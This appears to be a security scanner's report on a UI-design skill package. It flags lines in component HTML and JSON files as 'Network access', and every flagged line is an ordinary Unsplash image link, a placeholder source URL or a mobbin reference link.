skills/opendesigner/assets/library/components/seat-picker/component.html

  • Network accessline 82
    <div class="odl-card">     <header class="odl-head">       <img class="odl-poster" src="https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?w=192&h=288&fit=crop&auto=format&q=70" alt="Poster for The Copper Coast: a road through red
  • Network accessline 83
    <header class="odl-head">       <img class="odl-poster" src="https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?w=192&h=288&fit=crop&auto=format&q=70" alt="Poster for The Copper Coast: a road through red desert rocks" width="192" 
  • Network accessline 84
    <img class="odl-poster" src="https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?w=192&h=288&fit=crop&auto=format&q=70" alt="Poster for The Copper Coast: a road through red desert rocks" width="192" height="288" loading="lazy" deco

skills/opendesigner/assets/library/components/share-sheet/component.html

  • Network accessline 91
    <div class="odl-share-sheet">   <div class="odl-screen">     <div class="odl-art" aria-hidden="true"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=960&h=576&fit=crop&auto=format&q=70" alt="" width="480" height="288" 
  • Network accessline 92
    <div class="odl-screen">     <div class="odl-art" aria-hidden="true"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=960&h=576&fit=crop&auto=format&q=70" alt="" width="480" height="288" loading="lazy" decoding="async">
  • Network accessline 93
    <div class="odl-art" aria-hidden="true"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=960&h=576&fit=crop&auto=format&q=70" alt="" width="480" height="288" loading="lazy" decoding="async"></div>
  • Network accessline 102
    <fieldset class="odl-group"><legend class="odl-label">Recent</legend>         <ul class="odl-people">           <li><label class="odl-person"><input type="checkbox" value="kwesi"><span class="odl-av" aria-hidden="true"><img src="https://ima
  • Network accessline 103
    <ul class="odl-people">           <li><label class="odl-person"><input type="checkbox" value="kwesi"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=112&h=112&fit=crop&auto=fo
  • Network accessline 104
    <li><label class="odl-person"><input type="checkbox" value="kwesi"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" heigh
  • Network accessline 105
    <li><label class="odl-person"><input type="checkbox" value="ximena"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" heig
  • Network accessline 106
    <li><label class="odl-person"><input type="checkbox" value="yuki"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" height
  • Network accessline 107
    <li><label class="odl-person"><input type="checkbox" value="arash"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" heigh
  • Network accessline 108
    <li><label class="odl-person"><input type="checkbox" value="mireille"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" he
  • Network accessline 109
    <li><label class="odl-person"><input type="checkbox" value="henrik"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1600603406200-5b2a104684ac?w=112&h=112&fit=crop&auto=format&q=70" alt="" width="56" heig

skills/opendesigner/assets/library/components/sidebar-nav/component.html

  • Network accessline 100
    </nav>   <button type="button" class="odl-person" aria-haspopup="menu">     <span class="odl-avatar"><img src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" l
  • Network accessline 101
    <button type="button" class="odl-person" aria-haspopup="menu">     <span class="odl-avatar"><img src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="l
  • Network accessline 102
    <span class="odl-avatar"><img src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async"></span>

skills/opendesigner/assets/library/components/social-post/component.html

  • Network accessline 66
    <div class="odl-card">     <header class="odl-head">       <span class="odl-ring" aria-hidden="true"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48
  • Network accessline 67
    <header class="odl-head">       <span class="odl-ring" aria-hidden="true"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy
  • Network accessline 68
    <span class="odl-ring" aria-hidden="true"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decoding="async"></span>
  • Network accessline 72
    </header>     <div class="odl-photo">       <img class="odl-pic" src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=960&h=960&fit=crop&crop=bottom&auto=format&q=70" alt="Photo 1 of 3: city rooftops and towers at sunset, the
  • Network accessline 73
    <div class="odl-photo">       <img class="odl-pic" src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=960&h=960&fit=crop&crop=bottom&auto=format&q=70" alt="Photo 1 of 3: city rooftops and towers at sunset, the sky turning g
  • Network accessline 74
    <img class="odl-pic" src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=960&h=960&fit=crop&crop=bottom&auto=format&q=70" alt="Photo 1 of 3: city rooftops and towers at sunset, the sky turning gold" width="480" height="480" 
  • Network accessline 87
    <p class="odl-caption" id="odl-sp-cap"><b>rafal.makes</b> <span class="odl-short">Third morning in a row on the same roof, waiting for the towers to turn gold…</span><span class="odl-full" id="odl-sp-full" hidden>Third morning in a row on t
  • Network accessline 88
    <button type="button" class="odl-text-btn">View all 86 comments</button>       <p class="odl-top"><img class="odl-av is-sm" src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=64&h=64&fit=crop&auto=format&q=70" alt="" width=
  • Network accessline 89
    <p class="odl-top"><img class="odl-av is-sm" src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async"><span><b>kwesi.frames</b> That

skills/opendesigner/assets/library/components/stay-card/component.html

  • Network accessline 58
    <div class="odl-media">     <div class="odl-track" tabindex="-1" aria-roledescription="carousel" aria-label="Photos, 1 of 4">       <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=768&h=730&fi
  • Network accessline 59
    <div class="odl-track" tabindex="-1" aria-roledescription="carousel" aria-label="Photos, 1 of 4">       <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=768&h=730&fit=crop&auto=format&q=70" alt
  • Network accessline 60
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=768&h=730&fit=crop&auto=format&q=70" alt="Turquoise lake below snowy mountains, the view from the cabin" width="384" height="365" loading="lazy"
  • Network accessline 61
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1583847268964-b28dc8f51f92?w=768&h=730&fit=crop&auto=format&q=70" alt="Living room with a large window" width="384" height="365" loading="lazy" decoding="async"></figure>
  • Network accessline 62
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1611892440504-42a792e24d32?w=768&h=730&fit=crop&auto=format&q=70" alt="Bedroom with a wooden bed and a garden view" width="384" height="365" loading="lazy" decoding="asyn
  • Network accessline 63
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1618773928121-c32242e63f39?w=768&h=730&fit=crop&auto=format&q=70" alt="Bed made with white linen and pillows" width="384" height="365" loading="lazy" decoding="async"></f

skills/opendesigner/assets/library/components/story-rail/component.html

  • Network accessline 60
    </div>     <ul class="odl-rail">       <li><button type="button" class="odl-story is-own" aria-label="Add to your story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1611403119860-5
  • Network accessline 61
    <ul class="odl-rail">       <li><button type="button" class="odl-story is-own" aria-label="Add to your story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1611403119860-57c4937ef987
  • Network accessline 62
    <li><button type="button" class="odl-story is-own" aria-label="Add to your story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=168&h=168&fit=crop&auto=f
  • Network accessline 63
    <span class="odl-plus" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M5 12h14"/><path d="M12 5v14"/></svg></span></span><span class="
  • Network accessline 64
    <li><button type="button" class="odl-story" aria-label="Mireille Vasseur, live now"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=168&h=168&fit=crop&auto
  • Network accessline 65
    <li><button type="button" class="odl-story" aria-label="Rafał Ostrowiak, new story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=168&h=168&fit=crop&auto
  • Network accessline 66
    <li><button type="button" class="odl-story is-close" aria-label="Yuki Hanabusa, close friends story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=168&h=
  • Network accessline 67
    <li><button type="button" class="odl-story" aria-label="Kwesi Boateng-Ansah, new story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=168&h=168&fit=crop&
  • Network accessline 68
    <li><button type="button" class="odl-story" aria-label="Ximena Quintana, new story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=168&h=168&fit=crop&auto
  • Network accessline 69
    <li><button type="button" class="odl-story" aria-label="Arash Tehrani, new story"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=168&h=168&fit=crop&auto=f
  • Network accessline 70
    <li><button type="button" class="odl-story is-seen" aria-label="Leilani Kahale, seen"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1534751516642-a1af1ef26a56?w=168&h=168&fit=crop&au
  • Network accessline 71
    <li><button type="button" class="odl-story is-seen" aria-label="Henrik Strandberg, seen"><span class="odl-ring"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1600603406200-5b2a104684ac?w=168&h=168&fit=crop

skills/opendesigner/assets/library/components/title-detail/component.html

  • Network accessline 103
    <div class="odl-shell">     <div class="odl-hero">       <img class="odl-pic" src="https://images.unsplash.com/photo-1446038202205-1c96430dbdab?w=2304&h=832&fit=crop&auto=format&q=70" alt="Rocky coastline and blue ocean" width="2304" height
  • Network accessline 104
    <div class="odl-hero">       <img class="odl-pic" src="https://images.unsplash.com/photo-1446038202205-1c96430dbdab?w=2304&h=832&fit=crop&auto=format&q=70" alt="Rocky coastline and blue ocean" width="2304" height="832" loading="lazy" decodi
  • Network accessline 105
    <img class="odl-pic" src="https://images.unsplash.com/photo-1446038202205-1c96430dbdab?w=2304&h=832&fit=crop&auto=format&q=70" alt="Rocky coastline and blue ocean" width="2304" height="832" loading="lazy" decoding="async">
  • Network accessline 122
    <h4 class="odl-label" id="odl-td-cast">Starring</h4>           <ul class="odl-people">             <li class="odl-person"><img class="odl-face" src="https://images.unsplash.com/photo-1647082286159-16a43c39eab1?w=128&h=128&fit=crop&crop=face
  • Network accessline 123
    <ul class="odl-people">             <li class="odl-person"><img class="odl-face" src="https://images.unsplash.com/photo-1647082286159-16a43c39eab1?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="128" height="128" loading="la
  • Network accessline 124
    <li class="odl-person"><img class="odl-face" src="https://images.unsplash.com/photo-1647082286159-16a43c39eab1?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="128" height="128" loading="lazy" decoding="async"><span class="od
  • Network accessline 125
    <li class="odl-person"><img class="odl-face" src="https://images.unsplash.com/photo-1507003211169-0a1dd7228f2d?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="128" height="128" loading="lazy" decoding="async"><span class="od
  • Network accessline 126
    <li class="odl-person"><img class="odl-face" src="https://images.unsplash.com/photo-1536766768598-e09213fdcf22?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="128" height="128" loading="lazy" decoding="async"><span class="od
  • Network accessline 142
    </div>         <ol class="odl-s1" aria-label="Season 1">           <li><button type="button" class="odl-ep is-seen" aria-label="Play episode 1: The keeper's ledger, watched"><span class="odl-thumb"><img class="odl-pic" src="https://images.u
  • Network accessline 143
    <ol class="odl-s1" aria-label="Season 1">           <li><button type="button" class="odl-ep is-seen" aria-label="Play episode 1: The keeper's ledger, watched"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/pho
  • Network accessline 144
    <li><button type="button" class="odl-ep is-seen" aria-label="Play episode 1: The keeper's ledger, watched"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1608126199278-50a5f584dbdd?w=320&h=180&fit=crop&a
  • Network accessline 145
    <li><button type="button" class="odl-ep is-seen" aria-label="Play episode 2: Fog signal, watched"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1578429827733-272eb6d7972e?w=320&h=180&fit=crop&auto=forma
  • Network accessline 146
    <li><button type="button" class="odl-ep" aria-label="Play episode 3: Low water, 32 minutes left"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1505490096310-204ef067fe6b?w=320&h=180&fit=crop&auto=format
  • Network accessline 147
    <li><button type="button" class="odl-ep" aria-label="Play episode 4: Salt in the gears, 47 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1625851823298-70d1151f5b71?w=320&h=180&fit=crop&auto=for
  • Network accessline 148
    </ol> <ol class="odl-s2" aria-label="Season 2">           <li><button type="button" class="odl-ep" aria-label="Play episode 1: Return crossing, 56 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-
  • Network accessline 149
    <ol class="odl-s2" aria-label="Season 2">           <li><button type="button" class="odl-ep" aria-label="Play episode 1: Return crossing, 56 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-151456
  • Network accessline 150
    <li><button type="button" class="odl-ep" aria-label="Play episode 1: Return crossing, 56 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1514565131-fce0801e5785?w=320&h=180&fit=crop&auto=format&q
  • Network accessline 151
    <li><button type="button" class="odl-ep" aria-label="Play episode 2: Two lights, 50 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1589194837853-340f4a2f6559?w=320&h=180&fit=crop&auto=format&q=7
  • Network accessline 152
    <li><button type="button" class="odl-ep" aria-label="Play episode 3: The ninth, 58 minutes"><span class="odl-thumb"><img class="odl-pic" src="https://images.unsplash.com/photo-1598760122223-45f0f18a1bbd?w=320&h=180&fit=crop&auto=format&q=70

skills/opendesigner/assets/library/components/track-list/component.html

  • Network accessline 78
    <div class="odl-card">     <header class="odl-head">       <img class="odl-cover" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=480&h=480&fit=crop&auto=format&q=70" alt="Album cover: dark teal abstract curves" width="2
  • Network accessline 79
    <header class="odl-head">       <img class="odl-cover" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=480&h=480&fit=crop&auto=format&q=70" alt="Album cover: dark teal abstract curves" width="240" height="240" loading="l
  • Network accessline 80
    <img class="odl-cover" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=480&h=480&fit=crop&auto=format&q=70" alt="Album cover: dark teal abstract curves" width="240" height="240" loading="lazy" decoding="async">
  • Network accessline 82
    <p class="odl-eyebrow">Album · 2026</p>         <h3>Postcards from Low Tide</h3>         <p class="odl-by"><strong><img class="odl-av" src="https://images.unsplash.com/photo-1613498382159-0972b7b4c9f1?w=64&h=64&fit=crop&crop=faces&auto=form
  • Network accessline 83
    <h3>Postcards from Low Tide</h3>         <p class="odl-by"><strong><img class="odl-av" src="https://images.unsplash.com/photo-1613498382159-0972b7b4c9f1?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="
  • Network accessline 84
    <p class="odl-by"><strong><img class="odl-av" src="https://images.unsplash.com/photo-1613498382159-0972b7b4c9f1?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">Mirelle Duvane</st

skills/opendesigner/assets/library/components/trip-search/component.html

  • Network accessline 103
    </div>       <ul class="odl-sugg" id="odl-ts-list" role="listbox" aria-label="Suggestions">         <li role="option" id="odl-ts-o1" aria-selected="false" data-v="Lisbon, Portugal"><img src="https://images.unsplash.com/photo-1578771792482-1
  • Network accessline 104
    <ul class="odl-sugg" id="odl-ts-list" role="listbox" aria-label="Suggestions">         <li role="option" id="odl-ts-o1" aria-selected="false" data-v="Lisbon, Portugal"><img src="https://images.unsplash.com/photo-1578771792482-1e7eb2b8b447?w
  • Network accessline 105
    <li role="option" id="odl-ts-o1" aria-selected="false" data-v="Lisbon, Portugal"><img src="https://images.unsplash.com/photo-1578771792482-1e7eb2b8b447?w=128&h=128&fit=crop&auto=format&q=70" alt="Narrow street in an old city" width="60" hei
  • Network accessline 106
    <li role="option" id="odl-ts-o2" aria-selected="false" data-v="Lisbon Coast, Portugal"><img src="https://images.unsplash.com/photo-1446038202205-1c96430dbdab?w=128&h=128&fit=crop&auto=format&q=70" alt="Rocky coastline and blue ocean" width=
  • Network accessline 107
    <li role="option" id="odl-ts-o3" aria-selected="false" data-v="Lisieux, France"><img src="https://images.unsplash.com/photo-1605096048662-5ab61695a122?w=128&h=128&fit=crop&auto=format&q=70" alt="Hillside town houses" width="60" height="60" 

skills/opendesigner/assets/library/components/video-player/component.html

  • Network accessline 78
    <section class="odl-video-player" aria-label="Video player: Snowmelt">   <div class="odl-frame has-cc">     <img class="odl-poster" src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=1472&h=828&fit=crop&auto=format&q=70" alt="
  • Network accessline 79
    <div class="odl-frame has-cc">     <img class="odl-poster" src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=1472&h=828&fit=crop&auto=format&q=70" alt="Turquoise lake below snowy mountains" width="1472" height="828" loading="
  • Network accessline 80
    <img class="odl-poster" src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=1472&h=828&fit=crop&auto=format&q=70" alt="Turquoise lake below snowy mountains" width="1472" height="828" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/wishlist-grid/component.html

  • Network accessline 64
    <ul>       <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=480&h=600&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" alt="White crew-neck tee on a hanger" wid
  • Network accessline 65
    <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=480&h=600&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" alt="White crew-neck tee on a hanger" width="240" he
  • Network accessline 66
    <div class="odl-pic"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=480&h=600&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" alt="White crew-neck tee on a hanger" width="240" height="300" lo
  • Network accessline 69
    </li>       <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=480&h=600&fit=crop&auto=format&q=70" alt="Grey leather satchel" width="240" height="300" loading="lazy" decoding="async">
  • Network accessline 70
    <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=480&h=600&fit=crop&auto=format&q=70" alt="Grey leather satchel" width="240" height="300" loading="lazy" decoding="async"><button type
  • Network accessline 71
    <div class="odl-pic"><img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=480&h=600&fit=crop&auto=format&q=70" alt="Grey leather satchel" width="240" height="300" loading="lazy" decoding="async"><button type="button" cla
  • Network accessline 74
    </li>       <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1603808033192-082d6919d3e1?w=480&h=600&fit=crop&auto=format&q=70" alt="White and tan low sneakers" width="240" height="300" loading="lazy" decoding="a
  • Network accessline 75
    <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1603808033192-082d6919d3e1?w=480&h=600&fit=crop&auto=format&q=70" alt="White and tan low sneakers" width="240" height="300" loading="lazy" decoding="async"><butto
  • Network accessline 76
    <div class="odl-pic"><img src="https://images.unsplash.com/photo-1603808033192-082d6919d3e1?w=480&h=600&fit=crop&auto=format&q=70" alt="White and tan low sneakers" width="240" height="300" loading="lazy" decoding="async"><button type="butto
  • Network accessline 79
    </li>       <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=480&h=600&fit=crop&auto=format&q=70" alt="Cream table lamp with a brass arm" width="240" height="300" loading="lazy" deco
  • Network accessline 80
    <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=480&h=600&fit=crop&auto=format&q=70" alt="Cream table lamp with a brass arm" width="240" height="300" loading="lazy" decoding="async"
  • Network accessline 81
    <div class="odl-pic"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=480&h=600&fit=crop&auto=format&q=70" alt="Cream table lamp with a brass arm" width="240" height="300" loading="lazy" decoding="async"><button type
  • Network accessline 84
    </li>       <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=480&h=600&fit=crop&auto=format&q=70" alt="Speckled green stoneware cup" width="240" height="300" loading="lazy" decoding=
  • Network accessline 85
    <li>         <div class="odl-pic"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=480&h=600&fit=crop&auto=format&q=70" alt="Speckled green stoneware cup" width="240" height="300" loading="lazy" decoding="async"><but
  • Network accessline 86
    <div class="odl-pic"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=480&h=600&fit=crop&auto=format&q=70" alt="Speckled green stoneware cup" width="240" height="300" loading="lazy" decoding="async"><button type="but

skills/opendesigner/assets/library/components/workout-summary/component.html

  • Network accessline 75
    <div class="odl-card">     <header class="odl-head">       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loa
  • Network accessline 76
    <header class="odl-head">       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async
  • Network accessline 77
    <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async">

skills/opendesigner/assets/library/photos.json

  • Network accessline 1
    {  "license": "Unsplash License: free for commercial and non-commercial use, no permission or attribution required (credit appreciated); images may not be sold unaltered or compiled into a competing service. Hotlinked from images.unsplash.c
  • Network accessline 2
    "license": "Unsplash License: free for commercial and non-commercial use, no permission or attribution required (credit appreciated); images may not be sold unaltered or compiled into a competing service. Hotlinked from images.unsplash.com.
  • Network accessline 3
    "source": "https://unsplash.com/license",

skills/opendesigner/assets/output/research-users.example.json

  • Network accessline 11
    ],   "sources": [     {"id": "S1", "title": "Smartphone use among adults over 50 (national survey)", "url": "https://stats.example/older-adults-smartphones-2025", "kind": "survey", "date": "2025-11", "accessed": "2026-10-26"},
  • Network accessline 12
    "sources": [     {"id": "S1", "title": "Smartphone use among adults over 50 (national survey)", "url": "https://stats.example/older-adults-smartphones-2025", "kind": "survey", "date": "2025-11", "accessed": "2026-10-26"},     {"id": "S2", "
  • Network accessline 13
    {"id": "S1", "title": "Smartphone use among adults over 50 (national survey)", "url": "https://stats.example/older-adults-smartphones-2025", "kind": "survey", "date": "2025-11", "accessed": "2026-10-26"},
  • Network accessline 14
    {"id": "S2", "title": "Store reviews of three medicine-ordering apps, 1-3 stars", "url": "https://reviews.example/medicine-apps", "kind": "app-store-reviews", "accessed": "2026-10-26"},
  • Network accessline 15
    {"id": "S3", "title": "Age-related vision changes and screen reading (review article)", "url": "https://journal.example/vision-ageing-screens", "kind": "study", "date": "2024-03", "accessed": "2026-10-26"},
  • Network accessline 16
    {"id": "S4", "title": "Forum thread: helping parents order medicines online", "url": "https://forum.example/t/parents-medicine-apps", "kind": "forum", "accessed": "2026-10-26"},
  • Network accessline 17
    {"id": "S5", "title": "Store listings of the top five medicine-ordering apps", "url": "https://store.example/search/medicine-delivery", "kind": "article", "accessed": "2026-10-26"}

skills/opendesigner/assets/picker.js

  • Executable scriptline 1
    Executable file

skills/opendesigner/assets/taste/library.json

  • Network accessline 1
    [ {"id": "hero-figma", "app": "Figma", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5f84e90e-f4ae-48e5-bdb0-9b0b9b303f03", "source": "mobbin", "d": [80, 90, 30, 55, 20, 5, 80, 65], "tags": ["bold colou
  • Network accessline 2
    {"id": "hero-figma", "app": "Figma", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5f84e90e-f4ae-48e5-bdb0-9b0b9b303f03", "source": "mobbin", "d": [80, 90, 30, 55, 20, 5, 80, 65], "tags": ["bold colour"
  • Network accessline 3
    {"id": "hero-ploy", "app": "Ploy", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/daa906a0-c2aa-4b89-b361-99a59f2f43c6", "source": "mobbin", "d": [92, 85, 35, 70, 55, 30, 78, 70], "tags": ["bold colour",
  • Network accessline 4
    {"id": "hero-headspace", "app": "Headspace", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5b44d3ff-891d-4add-9f5f-53b903bb1800", "source": "mobbin", "d": [65, 85, 40, 60, 85, 30, 75, 90], "tags": ["ill
  • Network accessline 5
    {"id": "hero-aqua", "app": "Aqua", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/03f083e3-7838-429b-8800-3d25fad9310b", "source": "mobbin", "d": [55, 60, 20, 30, 80, 55, 40, 25], "tags": ["airy", "glow"
  • Network accessline 6
    {"id": "hero-craft", "app": "Craft", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/81874e27-d807-48c6-8bf3-c2efd62b8c2f", "source": "mobbin", "d": [55, 55, 35, 45, 50, 50, 50, 50], "tags": ["gradient", 
  • Network accessline 7
    {"id": "hero-eventbrite", "app": "Eventbrite", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5ed56143-319e-4261-8daf-c52639cf70c3", "source": "mobbin", "d": [88, 85, 40, 70, 40, 5, 90, 55], "tags": ["bo
  • Network accessline 8
    {"id": "hero-vizcom", "app": "Vizcom", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/5a194a1a-1add-434f-b901-b832b3c4ba78", "source": "mobbin", "d": [50, 55, 30, 35, 40, 40, 15, 40], "tags": ["dark", "p
  • Network accessline 9
    {"id": "dashboard-vercel", "app": "Vercel", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/172f9834-0e6a-4fa8-abd4-6e91b02b5ef4", "source": "mobbin", "d": [25, 35, 60, 20, 25, 5, 10, 40], "tags": ["monochr
  • Network accessline 10
    {"id": "dashboard-semrush", "app": "Semrush", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/f8548434-b4ef-4e67-a360-72feb07a9003", "source": "mobbin", "d": [25, 40, 85, 25, 25, 15, 35, 45], "tags": ["dens
  • Network accessline 11
    {"id": "dashboard-mintlify", "app": "Mintlify", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/d895f4b2-6d7b-4e4b-abab-638e1c18debd", "source": "mobbin", "d": [40, 55, 30, 30, 55, 15, 45, 50], "tags": ["ai
  • Network accessline 12
    {"id": "dashboard-asana", "app": "Asana", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/3696afeb-c25f-4883-8666-06e5ae7d2d6f", "source": "mobbin", "d": [50, 50, 40, 40, 45, 15, 55, 60], "tags": ["dark", "
  • Network accessline 13
    {"id": "dashboard-squarespace", "app": "Squarespace", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/84370f2e-90c1-4bf1-bf0d-98c92b8c2232", "source": "mobbin", "d": [45, 60, 45, 20, 5, 0, 20, 45], "tags": 
  • Network accessline 14
    {"id": "dashboard-ferndesk", "app": "Ferndesk", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/a41b87bc-6104-4cc3-8cb6-cfd4620701b1", "source": "mobbin", "d": [45, 60, 40, 25, 20, 20, 40, 70], "tags": ["se
  • Network accessline 15
    {"id": "feed-medium", "app": "Medium", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/857360ff-cae6-4b2c-a198-9929531590ec", "source": "mobbin", "d": [40, 45, 65, 20, 20, 0, 10, 40], "tags": ["dark", "editorial
